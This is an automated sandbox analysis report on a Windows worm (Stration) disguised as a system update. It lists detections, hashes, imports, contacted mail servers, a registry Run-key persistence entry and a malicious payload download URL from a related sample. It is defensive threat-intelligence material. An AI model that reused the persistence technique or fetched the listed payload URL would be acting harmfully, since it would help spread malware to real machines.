Virtualization/Sandbox Evasion
LSASS Memory22
Security Software Discovery
Remote Desktop ProtocolData from Removable Media1
Ingress Tool Transfer
Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)11
Registry Run Keys / Startup Folder
1
Access Token Manipulation
Security Account Manager121
Virtualization/Sandbox Evasion
SMB/Windows Admin SharesData from Network Shared Drive2
Non-Application Layer Protocol
Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook1
DLL Side-Loading
11
Process Injection
NTDS1
Process Discovery
Distributed Component Object ModelInput Capture12
Application Layer Protocol
Traffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
Deobfuscate/Decode Files or Information
LSA Secrets1
File and Directory Discovery
SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts2
Obfuscated Files or Information
Cached Domain Credentials14
System Information Discovery
VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
DLL Side-Loading
DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand
SourceDetectionScannerLabelLink
Update-KB4890-x86.exe95%ReversingLabsWin32.Worm.Stration
Update-KB4890-x86.exe100%AviraWORM/Stration.C
Update-KB4890-x86.exe100%Joe Sandbox ML
SourceDetectionScannerLabelLink
C:\Windows\tserv.exe100%AviraWORM/Stration.C
C:\Windows\tserv.exe100%Joe Sandbox ML
C:\Windows\tserv.exe95%ReversingLabsWin32.Worm.Stration
No Antivirus matches
No Antivirus matches
No Antivirus matches
NameIPActiveMaliciousAntivirus DetectionReputation
mta6.am0.yahoodns.net
98.136.96.75
truefalse
    unknown
    alt3.gmail-smtp-in.l.google.com
    142.251.1.26
    truefalse
      unknown
      alt4.gmail-smtp-in.l.google.com
      74.125.200.27
      truefalse
        unknown
        mta7.am0.yahoodns.net
        98.136.96.77
        truefalse
          unknown
          gmail-smtp-in.l.google.com
          74.125.133.27
          truefalse
            unknown
            mta5.am0.yahoodns.net
            67.195.204.72
            truefalse
              unknown
              www4.cedesunjerinkas.com
              193.166.255.171
              truefalse
                unknown
                alt1.gmail-smtp-in.l.google.com
                142.250.153.26
                truefalse
                  unknown
                  alt2.gmail-smtp-in.l.google.com
                  142.251.9.27
                  truefalse
                    unknown
                    hotmail-com.olc.protection.outlook.com
                    52.101.73.31
                    truefalse
                      unknown
                      hotmail.com
                      unknown
                      unknownfalse
                        unknown
                        gmail.com
                        unknown
                        unknownfalse
                          unknown
                          yahoo.com
                          unknown
                          unknownfalse
                            unknown
                            • No. of IPs < 25%
                            • 25% < No. of IPs < 50%
                            • 50% < No. of IPs < 75%
                            • 75% < No. of IPs
                            IPDomainCountryFlagASNASN NameMalicious
                            98.136.96.77
                            mta7.am0.yahoodns.netUnited States
                            36646YAHOO-NE1USfalse
                            193.166.255.171
                            www4.cedesunjerinkas.comFinland
                            1741FUNETASFIfalse
                            142.250.153.26
                            alt1.gmail-smtp-in.l.google.comUnited States
                            15169GOOGLEUSfalse
                            74.125.200.27
                            alt4.gmail-smtp-in.l.google.comUnited States
                            15169GOOGLEUSfalse
                            52.101.73.31
                            hotmail-com.olc.protection.outlook.comUnited States
                            8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                            142.251.9.27
                            alt2.gmail-smtp-in.l.google.comUnited States
                            15169GOOGLEUSfalse
                            142.251.1.26
                            alt3.gmail-smtp-in.l.google.comUnited States
                            15169GOOGLEUSfalse
                            67.195.204.72
                            mta5.am0.yahoodns.netUnited States
                            26101YAHOO-3USfalse
                            74.125.133.27
                            gmail-smtp-in.l.google.comUnited States
                            15169GOOGLEUSfalse
                            67.195.228.111
                            unknownUnited States
                            36647YAHOO-GQ1USfalse
                            98.136.96.75
                            mta6.am0.yahoodns.netUnited States
                            36646YAHOO-NE1USfalse
                            Joe Sandbox version:41.0.0 Charoite
                            Analysis ID:1546168
                            Start date and time:2024-10-31 15:40:28 +01:00
                            Joe Sandbox product:CloudBasic
                            Overall analysis duration:0h 5m 44s
                            Hypervisor based Inspection enabled:false
                            Report type:full
                            Cookbook file name:default.jbs
                            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                            Run name:Run with higher sleep bypass
                            Number of analysed new started processes analysed:10
                            Number of new started drivers analysed:0
                            Number of existing processes analysed:0
                            Number of existing drivers analysed:0
                            Number of injected processes analysed:0
                            Technologies:
                            • HCA enabled
                            • EGA enabled
                            • AMSI enabled
                            Analysis Mode:default
                            Analysis stop reason:Timeout
                            Sample name:Update-KB4890-x86.exe
                            Detection:MAL
                            Classification:mal100.evad.winEXE@4/2@14/11
                            EGA Information:
                            • Successful, ratio: 100%
                            HCA Information:
                            • Successful, ratio: 96%
                            • Number of executed functions: 18
                            • Number of non-executed functions: 125
                            Cookbook Comments:
                            • Found application associated with file extension: .exe
                            • Sleeps bigger than 100000000ms are automatically reduced to 1000ms
                            • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
                            • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, d.4.1.9.1.6.7.1.0.0.0.0.0.0.0.0.1.0.0.9.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, fe3cr.delivery.mp.microsoft.com
                            • Not all processes where analyzed, report is missing behavior information
                            • VT rate limit hit for: Update-KB4890-x86.exe
                            TimeTypeDescription
                            15:41:46AutostartRun: HKLM\Software\Microsoft\Windows\CurrentVersion\Run tserv C:\Windows\tserv.exe s
                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            98.136.96.77document.log.scr.exeGet hashmaliciousUnknownBrowse
                              Crt09EgZK3.exeGet hashmaliciousTofseeBrowse
                                file.exeGet hashmaliciousPhorpiexBrowse
                                  file.exeGet hashmaliciousPhorpiexBrowse
                                    file.exeGet hashmaliciousTofseeBrowse
                                      3pYA64ZwEC.exeGet hashmaliciousUnknownBrowse
                                        gEkl9O5tiu.exeGet hashmaliciousPhorpiexBrowse
                                          l3Qj8QhTYZ.exeGet hashmaliciousPhorpiexBrowse
                                            file.log.exeGet hashmaliciousUnknownBrowse
                                              193.166.255.171document.log.scr.exeGet hashmaliciousUnknownBrowse
                                              • www4.cedesunjerinkas.com/chr/wtb/lt.exe
                                              yGktPvplJn.exeGet hashmaliciousPushdoBrowse
                                              • www.synetik.net/
                                              cnzWgjUhS2.exeGet hashmaliciousNeconydBrowse
                                              • lousta.net/161/343.html
                                              Z0rY97IU6r.exeGet hashmaliciousNeconydBrowse
                                              • lousta.net/372/625.html
                                              2VJZxIY76V.exeGet hashmaliciousNeconydBrowse
                                              • lousta.net/766/881.html
                                              qIIGdGOTWO.exeGet hashmaliciousNeconydBrowse
                                              • lousta.net/240/311.html
                                              O0prB0zCWi.exeGet hashmaliciousNeconydBrowse
                                              • lousta.net/461/572.html
                                              djvu452.exeGet hashmaliciousNeconydBrowse
                                              • lousta.net/775/668.html
                                              v48ge.exeGet hashmaliciousNeconydBrowse
                                              • lousta.net/803/179.html
                                              67.195.204.72vyrcclmm.exeGet hashmaliciousTofseeBrowse
                                                file.exeGet hashmaliciousPhorpiexBrowse
                                                  file.exeGet hashmaliciousPhorpiex, XmrigBrowse
                                                    l3Qj8QhTYZ.exeGet hashmaliciousPhorpiexBrowse
                                                      data.log.exeGet hashmaliciousUnknownBrowse
                                                        message.elm.exeGet hashmaliciousUnknownBrowse
                                                          message.txt.exeGet hashmaliciousUnknownBrowse
                                                            Update-KB7390-x86.exeGet hashmaliciousUnknownBrowse
                                                              Update-KB6734-x86.exeGet hashmaliciousUnknownBrowse
                                                                Update-KB78-x86.exeGet hashmaliciousUnknownBrowse
                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                  mta6.am0.yahoodns.netdocument.log.scr.exeGet hashmaliciousUnknownBrowse
                                                                  • 98.136.96.75
                                                                  Crt09EgZK3.exeGet hashmaliciousTofseeBrowse
                                                                  • 98.136.96.77
                                                                  2IFYYPRUgO.exeGet hashmaliciousTofseeBrowse
                                                                  • 67.195.228.111
                                                                  qkkcfptf.exeGet hashmaliciousTofseeBrowse
                                                                  • 98.136.96.74
                                                                  vekvtia.exeGet hashmaliciousTofseeBrowse
                                                                  • 67.195.204.79
                                                                  knkduwqg.exeGet hashmaliciousTofseeBrowse
                                                                  • 98.136.96.75
                                                                  foufdsk.exeGet hashmaliciousTofseeBrowse
                                                                  • 98.136.96.76
                                                                  UUJycuNA6D.exeGet hashmaliciousTofseeBrowse
                                                                  • 67.195.204.77
                                                                  SGn3RtDC8Y.exeGet hashmaliciousTofseeBrowse
                                                                  • 67.195.228.106
                                                                  mta7.am0.yahoodns.netdocument.log.scr.exeGet hashmaliciousUnknownBrowse
                                                                  • 98.136.96.77
                                                                  OPgjjiInNK.exeGet hashmaliciousTofseeBrowse
                                                                  • 98.136.96.76
                                                                  2FnvReiPU6.exeGet hashmaliciousTofseeBrowse
                                                                  • 98.136.96.91
                                                                  874A7cigvX.exeGet hashmaliciousTofseeBrowse
                                                                  • 67.195.204.74
                                                                  RSno9EH0K9.exeGet hashmaliciousTofseeBrowse
                                                                  • 67.195.228.111
                                                                  Uc84uB877e.exeGet hashmaliciousTofseeBrowse
                                                                  • 67.195.228.109
                                                                  bEsOrli29K.exeGet hashmaliciousTofseeBrowse
                                                                  • 67.195.204.77
                                                                  Eduhazqw4u.exeGet hashmaliciousTofseeBrowse
                                                                  • 67.195.228.109
                                                                  setup.exeGet hashmaliciousTofseeBrowse
                                                                  • 98.136.96.76
                                                                  mta5.am0.yahoodns.netdocument.log.scr.exeGet hashmaliciousUnknownBrowse
                                                                  • 67.195.228.94
                                                                  uMlLpvdLRU.exeGet hashmaliciousTofseeBrowse
                                                                  • 67.195.228.109
                                                                  6foBmRMlDy.exeGet hashmaliciousTofseeBrowse
                                                                  • 67.195.228.106
                                                                  rXTqHar5Ud.exeGet hashmaliciousTofseeBrowse
                                                                  • 98.136.96.74
                                                                  H3nfKrgQbi.exeGet hashmaliciousTofseeBrowse
                                                                  • 67.195.204.79
                                                                  ODy57hA4Su.exeGet hashmaliciousTofseeBrowse
                                                                  • 67.195.228.109
                                                                  igvdwmhd.exeGet hashmaliciousTofseeBrowse
                                                                  • 67.195.228.110
                                                                  fdnoqmpv.exeGet hashmaliciousTofseeBrowse
                                                                  • 67.195.228.94
                                                                  SecuriteInfo.com.Win32.CrypterX-gen.13041.27911.exeGet hashmaliciousTofseeBrowse
                                                                  • 98.136.96.91
                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                  FUNETASFIdocument.log.scr.exeGet hashmaliciousUnknownBrowse
                                                                  • 193.166.255.171
                                                                  j3Lr4Fk7Kb.elfGet hashmaliciousMiraiBrowse
                                                                  • 86.50.36.169
                                                                  nabarm.elfGet hashmaliciousUnknownBrowse
                                                                  • 130.232.111.233
                                                                  splarm.elfGet hashmaliciousUnknownBrowse
                                                                  • 192.98.38.193
                                                                  mips.elfGet hashmaliciousMirai, MoobotBrowse
                                                                  • 157.24.20.223
                                                                  nklarm5.elfGet hashmaliciousUnknownBrowse
                                                                  • 193.166.100.123
                                                                  jklppc.elfGet hashmaliciousUnknownBrowse
                                                                  • 128.214.222.213
                                                                  la.bot.m68k.elfGet hashmaliciousUnknownBrowse
                                                                  • 130.232.65.208
                                                                  la.bot.arm.elfGet hashmaliciousUnknownBrowse
                                                                  • 161.41.22.255
                                                                  MICROSOFT-CORP-MSN-AS-BLOCKUShttp://djaahaf.r.af.d.sendibt2.comGet hashmaliciousUnknownBrowse
                                                                  • 150.171.28.10
                                                                  file.exeGet hashmaliciousStealc, VidarBrowse
                                                                  • 20.96.153.111
                                                                  http://3d1.gmobb.jp/dcm299ccyag4e/gov/Get hashmaliciousPhisherBrowse
                                                                  • 20.33.55.12
                                                                  https://dzentec-my.sharepoint.com/:u:/g/personal/i_lahmer_entec-dz_com/EdYp5IxQ-uxJivnPAqSzv40BZiCX7sphz7Kj8JDyRBKqpQ?e=wqutC4Get hashmaliciousUnknownBrowse
                                                                  • 52.108.11.12
                                                                  https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!s599af221dbfd41b9a607812ebc66d2cf&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0VpSHltbG45MjdsQnBnZUJMcnhtMHM4QjRNbHFPTTJWd0ZlQTFNLWNhZ0lnRkE_ZT1aak8wczY&wd=target%28Sezione%20senza%20titolo.one%7C99ad2a4b-5ecc-495f-9ce8-040ac62eb8f2%2F%5BExternal%5D%20-%20Invoice%20%27s%208808-%7C9e6e973e-3cda-429a-a28f-c51dc242e5b1%2F%29&wdorigin=NavigationUrlGet hashmaliciousUnknownBrowse
                                                                  • 52.108.11.12
                                                                  Orden de compra.xla.xlsxGet hashmaliciousUnknownBrowse
                                                                  • 13.107.246.45
                                                                  Orden de compra.xla.xlsxGet hashmaliciousUnknownBrowse
                                                                  • 13.107.253.45
                                                                  UCLouvain.onepkgGet hashmaliciousUnknownBrowse
                                                                  • 52.109.28.46
                                                                  file.exeGet hashmaliciousPureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake StealerBrowse
                                                                  • 94.245.104.56
                                                                  file.exeGet hashmaliciousStealc, VidarBrowse
                                                                  • 20.42.65.90
                                                                  YAHOO-NE1USdocument.log.scr.exeGet hashmaliciousUnknownBrowse
                                                                  • 98.136.96.75
                                                                  la.bot.sparc.elfGet hashmaliciousUnknownBrowse
                                                                  • 98.137.87.77
                                                                  mirai.mips.elfGet hashmaliciousMiraiBrowse
                                                                  • 98.138.234.211
                                                                  Crt09EgZK3.exeGet hashmaliciousTofseeBrowse
                                                                  • 98.136.96.75
                                                                  Farahexperiences.com_Report_52288.pdfGet hashmaliciousUnknownBrowse
                                                                  • 74.6.231.21
                                                                  z3hir.arm7.elfGet hashmaliciousMiraiBrowse
                                                                  • 216.252.107.80
                                                                  Electronic_Receipt_ATT0001.htmGet hashmaliciousUnknownBrowse
                                                                  • 74.6.231.21
                                                                  OPgjjiInNK.exeGet hashmaliciousTofseeBrowse
                                                                  • 98.136.96.76
                                                                  rXTqHar5Ud.exeGet hashmaliciousTofseeBrowse
                                                                  • 98.136.96.74
                                                                  YAHOO-3USdocument.log.scr.exeGet hashmaliciousUnknownBrowse
                                                                  • 67.195.204.77
                                                                  splsh4.elfGet hashmaliciousUnknownBrowse
                                                                  • 76.13.198.161
                                                                  botnet.arm7.elfGet hashmaliciousMirai, MoobotBrowse
                                                                  • 98.139.27.96
                                                                  yGktPvplJn.exeGet hashmaliciousPushdoBrowse
                                                                  • 66.218.88.167
                                                                  la.bot.mipsel.elfGet hashmaliciousUnknownBrowse
                                                                  • 98.139.219.76
                                                                  la.bot.arm.elfGet hashmaliciousUnknownBrowse
                                                                  • 74.6.52.159
                                                                  la.bot.mips.elfGet hashmaliciousUnknownBrowse
                                                                  • 74.6.250.6
                                                                  phish_alert_iocp_v1.4.48.emlGet hashmaliciousUnknownBrowse
                                                                  • 67.195.204.151
                                                                  https://att-mail-987654.weebly.com/Get hashmaliciousHTMLPhisherBrowse
                                                                  • 67.195.204.151
                                                                  http://currently0734.weebly.com/Get hashmaliciousHTMLPhisherBrowse
                                                                  • 67.195.204.151
                                                                  No context
                                                                  No context
                                                                  Process:C:\Users\user\Desktop\Update-KB4890-x86.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):423046
                                                                  Entropy (8bit):4.098108107355895
                                                                  Encrypted:false
                                                                  SSDEEP:3072:DFZ5qVGXvEQU+dXmEUy9rfe3kUdKSh7hKNjf7CwhqjEr8IcGN8yGBYPosqkxOqoC:JjqVG/pJZzfwsGX+LOOD3Oc
                                                                  MD5:EF486246C545A184394561883098FA97
                                                                  SHA1:84EFDEB9E41219B49E58FEFF9BB652B7EF1D422E
                                                                  SHA-256:4401B0CC190F39315964BE8CEECA6E82F6F3BE410C45D852C5B2D6A45A54ECCE
                                                                  SHA-512:41CACFCCE34C8C6979EB9B1C2981B7E9053C15324DBE56C650633913D8F47F4A495D61D9595E7506C620FB9367D1444815CF051C026A8FFBA78D50C5F8B9E0B5
                                                                  Malicious:true
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 95%
                                                                  Reputation:low
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............fr..fr..fr..n...fr..j}..fr..n/..fr.jn/..fr..fs.wfr..j-.fr..j...fr..m,..fr..j(..fr.Rich.fr.................PE..L... ?.E.....................p.......]............@..........................P..................................................P....@..................................................................H...............L............................text............................... ..`.rdata...........0..................@..@.data....(..........................@....rsrc........@....... ..............@..@................................................................................................................................................................................................................................................................................................................................................................
                                                                  Process:C:\Users\user\Desktop\Update-KB4890-x86.exe
                                                                  File Type:ASCII text, with CRLF line terminators
                                                                  Category:modified
                                                                  Size (bytes):26
                                                                  Entropy (8bit):3.95006375643621
                                                                  Encrypted:false
                                                                  SSDEEP:3:ggPYV:rPYV
                                                                  MD5:187F488E27DB4AF347237FE461A079AD
                                                                  SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                  SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                  SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                  Malicious:true
                                                                  Reputation:high, very likely benign file
                                                                  Preview:[ZoneTransfer]....ZoneId=0
                                                                  File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Entropy (8bit):4.098108107355895
                                                                  TrID:
                                                                  • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                  • Generic Win/DOS Executable (2004/3) 0.02%
                                                                  • DOS Executable Generic (2002/1) 0.02%
                                                                  • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                  File name:Update-KB4890-x86.exe
                                                                  File size:423'046 bytes
                                                                  MD5:ef486246c545a184394561883098fa97
                                                                  SHA1:84efdeb9e41219b49e58feff9bb652b7ef1d422e
                                                                  SHA256:4401b0cc190f39315964be8ceeca6e82f6f3be410c45d852c5b2d6a45a54ecce
                                                                  SHA512:41cacfcce34c8c6979eb9b1c2981b7e9053c15324dbe56c650633913d8f47f4a495d61d9595e7506c620fb9367d1444815cf051c026a8ffba78d50c5f8b9e0b5
                                                                  SSDEEP:3072:DFZ5qVGXvEQU+dXmEUy9rfe3kUdKSh7hKNjf7CwhqjEr8IcGN8yGBYPosqkxOqoC:JjqVG/pJZzfwsGX+LOOD3Oc
                                                                  TLSH:29948D61F28DC1B1E44A1DB5B8AC936662B27D28173CABF3BB507F0965732D07C31916
                                                                  File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............fr..fr..fr..n...fr..j}..fr..n/..fr.jn/..fr..fs.wfr..j-..fr..j...fr..m,..fr..j(..fr.Rich.fr.................PE..L... ?.E...
                                                                  Icon Hash:00928e8e8686b000
                                                                  Entrypoint:0x425d91
                                                                  Entrypoint Section:.text
                                                                  Digitally signed:false
                                                                  Imagebase:0x400000
                                                                  Subsystem:windows gui
                                                                  Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                                  DLL Characteristics:
                                                                  Time Stamp:0x45113F20 [Wed Sep 20 13:16:16 2006 UTC]
                                                                  TLS Callbacks:
                                                                  CLR (.Net) Version:
                                                                  OS Version Major:4
                                                                  OS Version Minor:0
                                                                  File Version Major:4
                                                                  File Version Minor:0
                                                                  Subsystem Version Major:4
                                                                  Subsystem Version Minor:0
                                                                  Import Hash:547cd05356c429dc57b17bf0fd6daf12
                                                                  Instruction
                                                                  push 00000060h
                                                                  push 0042E598h
                                                                  call 00007F4B91157654h
                                                                  mov edi, 00000094h
                                                                  mov eax, edi
                                                                  call 00007F4B911564ACh
                                                                  mov dword ptr [ebp-18h], esp
                                                                  mov esi, esp
                                                                  mov dword ptr [esi], edi
                                                                  push esi
                                                                  call dword ptr [0042E0ECh]
                                                                  mov ecx, dword ptr [esi+10h]
                                                                  mov dword ptr [00432214h], ecx
                                                                  mov eax, dword ptr [esi+04h]
                                                                  mov dword ptr [00432220h], eax
                                                                  mov edx, dword ptr [esi+08h]
                                                                  mov dword ptr [00432224h], edx
                                                                  mov esi, dword ptr [esi+0Ch]
                                                                  and esi, 00007FFFh
                                                                  mov dword ptr [00432218h], esi
                                                                  cmp ecx, 02h
                                                                  je 00007F4B91156DAEh
                                                                  or esi, 00008000h
                                                                  mov dword ptr [00432218h], esi
                                                                  shl eax, 08h
                                                                  add eax, edx
                                                                  mov dword ptr [0043221Ch], eax
                                                                  xor esi, esi
                                                                  push esi
                                                                  mov edi, dword ptr [0042E0BCh]
                                                                  call edi
                                                                  cmp word ptr [eax], 5A4Dh
                                                                  jne 00007F4B91156DC1h
                                                                  mov ecx, dword ptr [eax+3Ch]
                                                                  add ecx, eax
                                                                  cmp dword ptr [ecx], 00004550h
                                                                  jne 00007F4B91156DB4h
                                                                  movzx eax, word ptr [ecx+18h]
                                                                  cmp eax, 0000010Bh
                                                                  je 00007F4B91156DC1h
                                                                  cmp eax, 0000020Bh
                                                                  je 00007F4B91156DA7h
                                                                  mov dword ptr [ebp-1Ch], esi
                                                                  jmp 00007F4B91156DC9h
                                                                  cmp dword ptr [ecx+00000084h], 0Eh
                                                                  jbe 00007F4B91156D94h
                                                                  xor eax, eax
                                                                  cmp dword ptr [ecx+000000F8h], esi
                                                                  jmp 00007F4B91156DB0h
                                                                  cmp dword ptr [ecx+74h], 0Eh
                                                                  jbe 00007F4B91156D84h
                                                                  xor eax, eax
                                                                  cmp dword ptr [ecx+000000E8h], esi
                                                                  setne al
                                                                  mov dword ptr [ebp-1Ch], eax
                                                                  Programming Language:
                                                                  • [ASM] VS2003 (.NET) build 3077
                                                                  • [ C ] VS2003 (.NET) build 3077
                                                                  • [C++] VS2003 (.NET) build 3077
                                                                  • [RES] VS2003 (.NET) build 3077
                                                                  • [LNK] VS2003 (.NET) build 3077
                                                                  NameVirtual AddressVirtual Size Is in Section
                                                                  IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_IMPORT0x302040x50.rdata
                                                                  IMAGE_DIRECTORY_ENTRY_RESOURCE0x340000x30118.rsrc
                                                                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x2f6d00x48.rdata
                                                                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_IAT0x2e0000x24c.rdata
                                                                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0
                                                                  NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                  .text0x10000x2c5a40x2d000d7d3452993b82ee75052e80e49c890e4False0.5532931857638889data6.353296576388688IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                  .rdata0x2e0000x2efc0x300048995658de018e8713b6cf36f411ca2eFalse0.3614908854166667data4.955424298416429IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                  .data0x310000x28c00x1000cac477c02821e1eee50e0d1240a07368False0.211669921875Matlab v4 mat-file (little endian) , numeric, rows 4351131, columns 43800161.9793888897922702IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                  .rsrc0x340000x301180x310004e7d528ce916727be35809bf9797978bFalse0.05013851243622449data0.5968541437656842IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                  NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                  0x615180x2c00dataEnglishUnited States0.10884232954545454
                                                                  0x39f180xf000dataEnglishUnited States0.022721354166666666
                                                                  RT_ICON0x343200x2e8ISO-8859 text, with very long lines (744), with no line terminatorsEnglishUnited States0.020161290322580645
                                                                  RT_ICON0x346080xffffff28dataEnglishUnited States0.04951295440851577
                                                                  DLLImport
                                                                  KERNEL32.dllWriteProcessMemory, VirtualAllocEx, lstrlenA, OpenProcess, Process32Next, Process32First, CreateToolhelp32Snapshot, GetFileAttributesA, lstrcatA, GetSystemDirectoryA, lstrcmpiA, UnmapViewOfFile, GetFileSize, MapViewOfFile, CreateFileMappingA, FindClose, FindNextFileA, lstrcmpA, GetLastError, FindFirstFileA, lstrcpyA, SetFilePointer, ReadFile, GetTimeZoneInformation, GetModuleHandleA, LoadLibraryA, GetModuleFileNameA, GetCurrentDirectoryA, MoveFileExA, CopyFileA, GetOverlappedResult, LockResource, SizeofResource, LoadResource, FindResourceA, ResetEvent, GetVersionExA, HeapReAlloc, IsBadWritePtr, GetVolumeInformationA, DeviceIoControl, DefineDosDeviceA, QueryDosDeviceA, SetEndOfFile, GetProcAddress, CreateRemoteThread, GetCurrentProcess, CreateMutexA, ReleaseMutex, GetProcessHeap, HeapAlloc, Sleep, CloseHandle, GetTempPathA, GetTempFileNameA, WriteFile, CreateProcessA, DeleteFileA, HeapFree, GetLocalTime, CreateThread, CreateEventA, WaitForMultipleObjects, SetEvent, WaitForSingleObject, ExpandEnvironmentStringsA, CreateFileA, GetTickCount, ExitProcess, RtlUnwind, RaiseException, GetStartupInfoA, GetCommandLineA, QueryPerformanceCounter, GetCurrentThreadId, GetCurrentProcessId, GetSystemTimeAsFileTime, TlsAlloc, SetLastError, TlsFree, TlsSetValue, TlsGetValue, SetUnhandledExceptionFilter, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InterlockedExchange, VirtualQuery, HeapDestroy, HeapCreate, VirtualFree, VirtualAlloc, TerminateProcess, HeapSize, VirtualProtect, GetSystemInfo, LCMapStringA, WideCharToMultiByte, MultiByteToWideChar, LCMapStringW, GetStdHandle, UnhandledExceptionFilter, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, SetHandleCount, GetFileType, IsBadReadPtr, IsBadCodePtr, GetACP, GetOEMCP, GetCPInfo, InitializeCriticalSection, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, SetStdHandle, FlushFileBuffers
                                                                  USER32.dllwsprintfA, MessageBoxA, SetWindowsHookExA
                                                                  ADVAPI32.dllRegOpenKeyA, RegEnumKeyExA, InitializeSecurityDescriptor, GetTokenInformation, SetSecurityDescriptorOwner, SetSecurityDescriptorGroup, AllocateAndInitializeSid, GetLengthSid, AddAce, IsValidSecurityDescriptor, QueryServiceStatusEx, OpenSCManagerA, OpenServiceA, CloseServiceHandle, RegDeleteValueA, RegSetValueExA, RegOpenKeyExA, RegQueryValueExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges
                                                                  Language of compilation systemCountry where language is spokenMap
                                                                  EnglishUnited States
                                                                  TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                  2024-10-31T15:41:46.158599+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow120.12.23.50443192.168.2.849705TCP
                                                                  2024-10-31T15:41:52.824742+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.849706193.166.255.17180TCP
                                                                  2024-10-31T15:41:52.824742+01002019714ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile2192.168.2.849706193.166.255.17180TCP
                                                                  2024-10-31T15:42:06.070801+01002016998ET MALWARE Connection to Fitsec Sinkhole IP (Possible Infected Host)1192.168.2.849711193.166.255.17180TCP
                                                                  2024-10-31T15:42:14.566301+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.849711193.166.255.17180TCP
